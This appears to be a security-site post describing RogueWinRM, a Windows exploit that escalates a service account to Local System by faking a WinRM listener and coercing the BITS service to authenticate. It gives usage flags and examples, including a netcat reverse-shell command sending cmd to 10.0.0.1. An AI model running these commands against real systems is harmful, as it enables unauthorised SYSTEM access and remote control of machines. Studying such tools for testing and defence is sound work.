RogueWinRM : Windows Local Privilege Escalation From Service Account To System

RogueWinRM is a local privilege escalation exploit that allows to escalate from a Service account (with SeImpersonatePrivilege) to Local System account if WinRM service is not running (default on Win10 but NOT on Windows Server 2019).

Briefly, it will listen for incoming connection on port 5985 faking a real WinRM service.
It’s just a minimal webserver that will try to negotiate an NTLM authentication with any service that are trying to connect on that port.
Then the BITS service (running as Local System) is triggered and it will try to authenticate to our rogue listener. Once authenticated to our rogue listener, we are able to impersonate the Local System user spawning an arbitrary process with those privileges.

You can find a full technical description of this vulnerability at this link –> https://decoder.cloud/2019/12/06/we-thought-they-were-potatoes-but-they-were-beans/

Usage

RogueWinRM

Mandatory args:
-p : program to launch

Optional args:
-a : command line argument to pass to program (default NULL)
-l : listening port (default 5985 WinRM)
-d : Enable Debugging output

Examples

  • Running an interactive cmd:

RogueWinRM.exe -p C:\windows\system32\cmd.exe

  • Running netcat reverse shell:

RogueWinRM.exe -p C:\windows\temp\nc64.exe -a “10.0.0.1 3001 -e cmd”

Credit

R K

Recent Posts

Best OSINT Tools for Journalists 2026: Verify Sources, Images and Claims

Journalists use OSINT to verify public information before publishing. In 2026, misinformation, AI-generated images, fake…

5 hours ago

Install Docker on Ubuntu 20.04: Complete Step-by-Step Guide

Docker is an open-source platform that lets you package and run applications inside containers. Each container…

15 hours ago

Install PostgreSQL on Ubuntu: Database Setup and Admin Guide

PostgreSQL (often called Postgres) is an open-source relational database system. It supports advanced features like JSON…

16 hours ago

Install Xrdp Remote Desktop on Ubuntu: Setup and Connect

Xrdp is an open-source server that lets you connect to your Ubuntu machine from another computer…

16 hours ago

Tomcat 9 on Ubuntu 20.04: Install, Configure, and Start

Apache Tomcat is an open-source web server and Java servlet container. It is one of the…

16 hours ago

Automatic Updates on Ubuntu: Set Up unattended-upgrades

Keeping your Ubuntu system updated is one of the best ways to protect it. Security…

18 hours ago